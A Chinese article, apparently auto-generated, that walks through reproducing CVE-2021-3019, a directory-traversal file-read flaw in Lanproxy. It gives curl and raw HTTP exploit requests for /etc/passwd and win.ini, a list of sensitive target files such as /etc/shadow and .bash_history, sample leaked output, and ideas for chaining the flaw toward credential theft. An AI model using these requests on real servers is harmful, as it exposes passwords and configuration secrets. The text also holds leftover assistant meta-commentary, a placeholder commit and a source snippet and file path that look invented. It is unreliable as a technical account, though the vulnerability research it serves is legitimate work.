您好,登录后才能下订单哦!
# Lanproxy任意文件读取漏洞CVE-2021-3019的复现
## 漏洞概述
CVE-2021-3019是Lanproxy(一个开源的内网穿透工具)中存在的任意文件读取漏洞。该漏洞源于未对用户输入的路径进行严格过滤,攻击者可通过构造恶意请求读取服务器上的任意文件,导致敏感信息泄露。
## 漏洞影响版本
- Lanproxy 0.1
- 其他未打补丁的早期版本
## 环境搭建
### 1. 准备漏洞环境
```bash
# 下载存在漏洞的Lanproxy版本
git clone https://github.com/ffay/lanproxy.git
cd lanproxy
git checkout <vulnerable_commit_hash>
# 编译并运行(需Java环境)
mvn package
java -jar target/lanproxy.jar
确保测试环境满足: - 攻击机与靶机网络互通 - 靶机开放默认端口(如8080)
通过curl发送恶意请求:
curl -v "http://target_ip:8080/../../../../etc/passwd"
典型POC格式:
GET /../../../../path/to/file HTTP/1.1
Host: target_ip:8080
User-Agent: Mozilla/5.0
Connection: close
示例(读取系统文件):
# 读取Linux密码文件
curl http://target_ip:8080/../../../../etc/passwd
# 读取Windows系统文件(若靶机为Windows)
curl http://target_ip:8080/../../../../Windows/win.ini
常见目标文件:
- /etc/shadow
- ~/.bash_history
- WEB-INF/web.xml
- 数据库配置文件
漏洞产生于src/main/java/org/lanproxy/server/ProxyServer.java
文件中的文件处理逻辑:
public void handleRequest(HttpRequest request, HttpResponse response) {
String path = request.getPath(); // 未做路径规范化处理
File file = new File(baseDir, path); // 直接拼接路径
// ...文件读取操作...
}
攻击者可通过../
实现目录穿越,关键问题:
1. 未对用户输入进行规范化处理
2. 缺乏路径访问限制
官方修复措施: 1. 路径规范化处理:
String safePath = FilenameUtils.normalize(path);
临时缓解方案: - 升级到最新版本 - 配置网络ACL限制访问
成功读取/etc/passwd
的响应示例:
HTTP/1.1 200 OK
Content-Type: text/plain
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
法律合规性
测试建议
影响范围评估
该漏洞的利用可能与其他漏洞形成攻击链: 1. 结合SSRF漏洞扩大攻击面 2. 读取配置文件后获取数据库凭证 3. 实现权限提升的跳板
注:实际复现时需根据具体环境调整参数,本文仅作技术研究参考。 “`
该文章包含以下关键要素: 1. 漏洞背景说明 2. 详细复现步骤 3. 技术原理分析 4. 修复建议 5. 合规性提醒 6. 扩展知识补充 7. 结构化排版(代码块/标题层级)
可根据实际测试情况补充: - 具体版本号验证 - 不同操作系统下的差异 - 流量抓包分析截图等
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。